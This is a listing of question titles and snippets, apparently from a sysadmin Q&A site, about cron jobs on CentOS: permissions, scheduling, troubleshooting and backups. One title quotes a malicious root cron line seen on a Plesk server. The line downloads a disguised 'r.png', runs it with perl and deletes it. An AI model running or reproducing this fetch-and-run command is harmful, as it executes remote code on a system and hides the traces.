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Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]
I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
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Is it possible to have a cron job run more frequently than once every minute?
CentOS 6
I have a shell script that performs a task every minute. The task itself only takes a couple seconds to complete and ideally I'd like to have this shell script execute 2-3 times per ...
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security concern around adding cron user to web application group
I have a permissions issue on my CentOS 5.6 machine with regards to the cron user.
On my test/staging environment my cron user (picco-cron) is a member of one group - picco-cron, as below:
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/etc/crontab permissions
The /etc/crontab file has the permissions:
-rw-r--r--
I understand that this file is for system cron jobs and other users should not have permission to modify it. The current permissions allows all ...
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ipsec auto --status fails in cronjob
I have a server monitoring script which, among other things, checks the state of an IPSec tunnel using
ipsec auto --status
It works like a charm when run from the console (as root) but as soon as I ...
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Centos Crontab not responding
I was learning and experimenting with crontab today.
The default editor was just too difficult for me to figure out which caused me to remove my crontab by running crontab -r.
Now, when I run ...
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vixie-cron.x86_64 doesn't seem to execute jobs on crontab
I have installed crontab on CentOS 5.6 x64 via
yum install vixie-cron.x86_64
Here is my crontab -e
SHELL=/bin/sh
0 0 * * * cat /root/mysql-backup.txt | xargs ...
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How can i dump /tmp/files in CentOS to Dropbox using crontab?
How can i dump files from my CentOS box to Dropbox account? As regular nightly backup task.
